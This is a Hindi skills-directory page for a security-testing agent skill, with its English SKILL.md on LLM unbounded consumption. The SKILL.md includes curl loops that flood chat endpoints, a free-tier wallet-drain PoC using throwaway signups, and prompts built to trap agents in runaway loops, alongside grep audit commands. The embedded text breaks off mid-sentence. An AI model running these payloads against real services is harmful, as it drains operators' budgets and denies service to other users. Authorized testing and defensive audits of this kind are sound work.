unbounded-consumption
यह क्या करती है
यह स्किल बताती है कि बहुत बड़े प्रॉम्प्ट, अंतहीन टूल लूप या बजट न होने से AI उत्पाद कैसे खाली हो सकते हैं। यह उन टीमों के लिए है जो AI सेवाएँ चलाती हैं और सुरक्षित सीमाएँ तय करना चाहती हैं।
कब इस्तेमाल करें
- ✓जब टीम एजेंट से जाँचवाना चाहती है कि उसके AI एंडपॉइंट प्रति यूज़र प्रॉम्प्ट के आकार और टोकन उपयोग पर सीमा लगाते हैं या नहीं।
- ✓जब एजेंट ऐसे एजेंट लूप की समीक्षा करता है जो बिना चरण या लागत की सीमा के टूल कॉल दोहरा सकते हैं।
- ✓जब रिपोर्ट में बताना हो कि असीमित AI उपयोग से बड़े बिल या सेवा बंद होने का खतरा कैसे बनता है।
Skill का लिंक
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.mdइसे कॉपी करके अपने AI (Claude, ChatGPT या Cursor) में पेस्ट करें और निर्देशों का पालन करने को कहें।
कैसे इस्तेमाल करें
सबसे आसान तरीका: मैसेज कॉपी करके अपने AI में पेस्ट करें। वह skill पढ़कर निर्देशों का पालन करेगा।
पेस्ट करने के लिए तैयार मैसेज
Claude Code, Codex या Cursor के लिए: प्रोजेक्ट फ़ोल्डर में चलाएँ और skill इंस्टॉल हो जाएगी।
SKILL.md डाउनलोड करें और अपने एजेंट के skills फ़ोल्डर में रखें।
AI से क्या माँगें: उदाहरण
“क्या आप जाँच सकते हैं कि हमारे AI एंडपॉइंट और एजेंट लूप पर प्रति यूज़र प्रॉम्प्ट आकार, चरण और लागत की सीमा है या नहीं?”
हर हफ़्ते 5 नई skills, 1 मिनट में पढ़ें।
यह कैसे काम करती है
एजेंट कोड में आकार सीमा, चरण सीमा, retry की ऊपरी सीमा और बजट जाँच खोजता है, और ऐसे हर रास्ते की सूची बनाता है जिस पर कोई सीमा नहीं है।
तकनीकी सामग्री (मूल SKILL.md)
लेखक का मूल टेक्स्ट, अंग्रेज़ी में, सीधे GitHub से।
LLM Unbounded Consumption (LLM10:2025)
LLM inference is metered in dollars-per-token at the provider, and those tokens stack quickly: a context window full of attacker content costs more than the rest of the request stack combined. Unbounded consumption produces three impacts in escalating severity: provider rate-limit / hard-block (DoS), bill blowout (denial-of- wallet), and ultimately tool / sandbox resource exhaustion (DoS of the customer's compute).
1. Recognition signals
- The product exposes an authenticated or unauthenticated LLM endpoint that accepts large prompts.
- Per-user / per-tenant token budget is undocumented or absent.
- Free-tier signup grants immediate access to the most expensive model.
- Agentic system has no max-step / max-token / max-cost cap.
- Tools loop on model output without iteration cap (
while not done:). - File-upload feature dumps full document into the context.
- Background workers retry failed model calls on exponential backoff without a hard ceiling.
- Cost dashboard updates daily, not in real time.
2. Attack vectors
Direct prompt expansion (input DoS)
Submit a maximum-context-window prompt repeatedly:
seq 1 1000 | xargs -I{} curl -s -X POST "$TARGET/chat" \
-H "Authorization: Bearer $FREE_TIER_TOKEN" \
-d "{\"prompt\":\"$(python -c 'print("repeat this " * 30000)')\"}" \
>/dev/null &
Cost-tier escalation
Bypass the model picker to force the most expensive model (opus / o1 / claude-3.7) on every request. Often the picker is a client-side selector that the backend trusts.
Runaway agentic loop
Submit a task that the agent cannot complete: "Read every file in
/ recursively and summarise each in 5 paragraphs." Each tool
result feeds the next prompt; tokens grow per loop. With no max-step
cap the run lasts until provider rate-limits or budget alarms fire.
Fan-out via tool calls
Trigger an LLM that itself spawns N tool calls per turn, each of which invokes a sub-LLM. Geometric blow-up.
Self-prompting / recursion
"For each of the following 100 topics, write a 5-page detailed analysis." Each topic becomes a sub-call.
Wallet-only DoS via duplicate accounts
Free-tier signup with a temp-email service; 100 accounts; each runs maximum-cost requests on a paid backend.
Long-context starvation of other users
Submit a single max-context request that holds a shared backend worker; concurrent users observe latency spikes / 5xx.
3. Audit workflow
# Find LLM endpoints + their auth requirements
grep -rE '/chat|/complete|/generate|/agent|/llm' /workspace/src
# Find token / cost cap logic (or its absence)
grep -rE 'max_tokens|max_steps|cost_budget|rate_limit|throttle|token_budget' /workspace/src
# Find model-selection bypass surface (client-controlled model id)
grep -rE 'model\s*=\s*request|model_from_body|user_choice_model' /workspace/src
# Find agentic loop terminators
grep -rE 'while.*tool|for.*step|max_iterations|recursion_limit' /workspace/src
For each endpoint ask:
- What is the per-user max tokens per minute / per day?
- Is the model id chosen by the user trusted server-side?
- Is there a circuit-breaker on the provider 429 path?
- What is the maximum total cost of a single agentic run?
4. Exploitation goals
| Goal | Impact | Indicator |
|---|---|---|
| Per-user DoS via large prompt | Low | One user 429s themselves |
| Wallet drain on free tier | High | Measurable per-account spend > tier price |
| Single-prompt budget blowout | High | One request exceeds expected per-day cost |
| Cross-tenant DoS via shared backend | Critical | Other tenants 5xx during attacker's request |
| Sustained billing attack | Critical | Multi-day spend curve elevated by attacker |
5. PoC payloads
Wallet drain probe (free tier)
# Provision a fresh free-tier account
TOK=$(curl -X POST $TARGET/signup -d '{"email":"test+'$(uuidgen)'@example"}' | jq -r .token)
# Sustained max-cost requests
for i in $(seq 1 50); do
curl -s -X POST "$TARGET/chat" -H "Authorization: Bearer $TOK" \
-d '{"model":"gpt-5-pro","prompt":"'$(python -c 'print("token "*40000)')'"}' \
>/dev/null &
done
wait
# Measure spend via vendor dashboard or attacker-side response timing
Runaway agentic loop
For each line in /etc/services, look up the protocol's RFC, fetch the
RFC, and write a 3-paragraph summary. Save each summary to a file in
/tmp. Continue until all services are processed.
Watch t
अक्सर पूछे जाने वाले सवाल
unbounded consumption क्या है?
जब AI सेवा का बिना सीमा के उपयोग हो सके, जिससे ऊँची लागत हो सकती है या सभी के लिए सेवा धीमी हो सकती है।
मुफ़्त खाते यहाँ क्यों मायने रखते हैं?
स्किल कहती है कि बिना सीमा के महँगे मॉडल तक पहुँचने वाले मुफ़्त साइनअप दुरुपयोग को आसान बनाते हैं।
स्किल कौन-सी सीमाएँ सुझाती है?
प्रॉम्प्ट आकार की सीमा, एजेंट के अधिकतम चरण, retry की सीमा और प्रति यूज़र बजट।
जानकारी
लेखक का मूल विवरण
Hunt LLM unbounded consumption (OWASP LLM10:2025) — denial-of-wallet and denial-of-service against LLM endpoints via unrestricted prompt size, runaway tool loops, expensive model selection, and unauthenticated fan-out.
लोकप्रियता
- GitHub स्टार
- 6.5k
- रैंकिंग में स्थान
- #13980
- लाइसेंस
- Apache-2.0
- अपडेट की गई
- 1/11/2026
कमेंट
- …
इस repository की और skills
detector-overview
6.5kयह आपके एजेंट को स्कैनर से चिह्नित कोड पढ़ने और तय करने में मदद करती है कि कौन सी जगहें असली सुरक्षा बग हैं और कौन सी गलत चेतावनी।
exploiter-overview
6.5kयह आपके एजेंट को कई पक्की सुरक्षा कमज़ोरियों को एक परीक्षण श्रृंखला में जोड़ने और जाँचने में मदद करती है कि वह श्रृंखला कितनी दूर तक पहुँच सकती है।
llm-redteam-overview
6.5kयह आपके एजेंट को परीक्षण के लिए सही AI रेड-टीम गाइड खोजने में मदद करती है, प्रॉम्प्ट इंजेक्शन से लेकर मॉडल के दुरुपयोग तक 15 रणनीति समूहों में।
aatmf-t01-prompt-injection
6.5kसमझाती है कि प्रॉम्प्ट इंजेक्शन क्या है, जिसमें छिपे निर्देश AI सिस्टम के नियम बदलने की कोशिश करते हैं, ताकि सुरक्षा परीक्षक उसकी जाँच कर सकें।
मिलती-जुलती skills
add-model-provider
394kयह आपके एजेंट को सुरक्षित कमांड से OpenClaw में नया AI मॉडल प्रोवाइडर जोड़ने, API कीज़ को सादे टेक्स्ट से बचाने और लाइव टेस्ट चलाने देती है।
acp-router
394kयह आपके एजेंट को OpenClaw के ज़रिए Claude Code या Cursor जैसे कोडिंग असिस्टेंट को काम भेजने देती है, ताकि काम उसी टूल में चले।
browser-automation
394kयह आपके एजेंट को लॉगिन, टैब और अटकी वेब पेज से उबरने समेत, वेबसाइट पर चरण-दर-चरण काम करना सिखाती है।